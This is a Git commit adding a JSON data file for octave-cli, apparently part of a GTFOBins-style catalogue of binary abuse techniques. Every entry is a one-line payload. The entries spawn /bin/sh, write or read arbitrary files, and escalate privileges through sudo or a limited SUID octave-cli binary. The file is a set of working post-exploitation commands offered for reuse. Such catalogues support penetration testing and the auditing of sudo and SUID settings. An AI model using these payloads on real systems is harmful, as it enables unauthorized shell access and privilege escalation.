add data source for octave-cli

master
Mr. Robot 3 years ago committed by GitHub
parent dc1634611d
commit 6bf42a886f
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

@ -0,0 +1,30 @@
{
"description": "The payloads are compatible with GUI.",
"functions": {
"shell": [
{
"code": "octave-cli --eval 'system(\"/bin/sh\")'"
}
],
"file-write": [
{
"code": "octave-cli --eval 'filename = \"[file]\"; fid = fopen(filename, \"w\"); fputs(fid, \"[data]\"); fclose(fid);'"
}
],
"file-read": [
{
"code": "octave-cli --eval 'format none; fid = fopen(\"[file]\"); while(!feof(fid)); txt = fgetl(fid); disp(txt); endwhile; fclose(fid);'"
}
],
"sudo": [
{
"code": "sudo octave-cli --eval 'system(\"/bin/sh\")'"
}
],
"limited-suid": [
{
"code": "./octave-cli --eval 'system(\"/bin/sh\")'"
}
]
}
}
Loading…
Cancel
Save